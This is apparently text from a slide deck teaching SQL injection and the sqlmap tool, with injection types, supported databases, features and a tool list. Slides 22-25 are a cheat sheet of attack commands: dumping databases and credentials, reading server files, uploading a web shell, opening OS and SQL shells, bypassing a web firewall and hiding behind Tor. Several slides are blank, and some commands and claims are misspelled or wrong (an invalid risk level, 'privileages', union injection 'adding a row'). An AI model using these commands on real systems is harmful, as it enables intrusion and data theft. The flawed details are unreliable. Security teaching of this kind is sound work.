  • 11.  Error-based: This technique forces the database to generate an error, giving the attacker information that can be used to manipulate data in database.  Union-based: This technique allows an attacker to extract information from the database quickly. This attack uses the sql union operator. This attack allows the attacker to add a row to the existing database on the server.  Stacked queries: In sql a semicolon(;) is used to terminate statements. By deleting the original query and adding new the attacker can change data in the database. The semicolon allows the attacker to execute multiple statements into the database.  Out-of-band: This technique mostly depends on features being enabled on the database server being used by the web application. It occurs when an attacker is unable to use the same channel to launch the attack and gather results. This technique rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls as well as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an attacker controls.
  • 12. SQLMAP supports MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso database management systems.
  • 14.  Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.  Entirely, a range of entries or specific columns as per user's choice. The user can Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.  Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.  Support to dump database tables also choose to dump only a range of characters from each column's entry.  Support to search for specific database names, specific tables across all databases or specific columns across all databases tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.  Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • 15.  Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.  Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.  Support for database process user privilege escalation via metasploit's meterpreter getsystem command.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22. Basic syntax: sqlmap -u URL/-r FILE --function  Get request: sqlmap -u http://example.com/page.php?id=1  Using file: sqlmap -r request.txt  Testing with pattern of URL’s: sqlmap -u http://example.com/page*/view --dbs  Post request: sqlmap -u http://example.com/login.php --data “username=admin&password=admin&submit=submit” -p username  Using cookies: sqlmap -u http://example.com /enter.php --cookie=“PHPSESSID=4582s5545gfsg77854”  Database enumaeration: sqlmap -u http://example.com/page.php?id=1 --dbs
  • 23.  Identify current database: sqlmap -u http://example.com/page.php?id=1 --current-db  Extract tables: sqlmap -u http://example.com/page.php?id=1 -D database --tables  Extract columns: sqlmap -u http://example.com/page.php?id=1 -D database -T table_name --columns  Dumping data: sqlmap -u http://example.com/page.php?id=1 –D database -T table_name -C colum_names --dump  Multitreading: sqlmap -u http://example.com/page.php?id=1 --dbs --threads 5  Null-connection: sqlmap -u http://example.com/page.php?id=1 --dbs --null-connection  HTTP persistant connection: sqlmap -u http://example.com/page.php?id=1 --dbs --keep-alive  Output prediction: sqlmap -u http://example.com/page.php?id=1 -D database -T table_name -C column_names --dump –predict- output  Checking privilages: sqlmap -u http://example.com/page.php?id=1 --privileages
  • 24.  Reading files from the server: sqlmap -u http://example.com/page.php?id=1 --file-read=/etc/users  Uploading files/shell: sqlmap -u http://example.com/page.php?id=1 --file-write=/root/shell.php --file-dest=/var/www/shell.php  SQL shell: sqlmap -u http://example.cpm/page.php?id=1 --sql-shell  OS shell: sqlmap -u http://example.com/page.php?id=1 --os-shell  OS command exe without shell upload: sqlmap -u http://example.com/page.php?id=1 --os-cmd “username-a”  Using proxy: sqlmap --proxy=“127.0.0.1:8080” -u http://example.com/page.php?id=1 --dbs  Using proxy with credentials: sqlmap --proxy=“127.0.0.1:8080” --proxy-cred=username:password -u http://example.com/page.php?id=1  Crawling: sqlmap -u http://example.com/ --crawl=1
  • 25.  Exploitation in verbose mode: sqlmap -u http://example.com/page.php?id=1 -v 3  Bypassing WAF(web application firewall): sqlmap -u http://example.com/page.php?id=1 --tamper=apostrophemask  Scanning key based authentication page: sqlmap -u http://example.com/page.php?id=1 --auth-file=  To use default TOR network: sqlmap -u http://example.com/page.php?id=1 --tor  Scanning with high risk and level: sqlmap -u http://example.com/page.php?id=1 --level=3 --risk=5
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.  Metasploit  Acunetix  Netsparker  Intruder  Beagle Security  Appknox  Sqlninja  Detectify Deep Scan  Havij  BBQSQL  Leviathan  WhiteWidow  Jsql  Sqlmate  Pybelt
  • 33.  https://sqlmap.org/  http://testphp.vulnweb.com/listproducts.php?cat=1  https://owasp.org/  https://www.g2.com/products/sqlmap/competitors/alternatives  http://example.com/page.php?id=1